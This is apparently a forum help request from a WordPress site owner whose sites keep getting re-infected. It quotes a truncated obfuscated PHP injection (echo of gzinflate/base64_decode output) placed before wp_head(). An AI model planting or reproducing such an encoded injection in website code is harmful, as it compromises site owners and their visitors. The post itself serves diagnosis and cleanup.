Four different websites got infected and been blocked by Google, and after a quick look, I've noticed this just before wp_head():
<?php #d93065# echo(gzinflate(base64_decode("tVVNj5swEP0... (edited out) hH5m7L/5+/gM="))); #/d93065# wp_head(); ?>
I have cleaned the code but this reappeared after a few hours. Then again and again. I thought that timthumb is the culprit, but this happened on a WordPress without timthumb aswell as I've scanned it previously with timthumb vulnerability scanner.
There's nothing suspicious in htaccess, wp-config and the files everyone is talking about, from wp-includes, have checked all the js files, nothing, nothing, nothing.
What could it be, how do I get rid of this?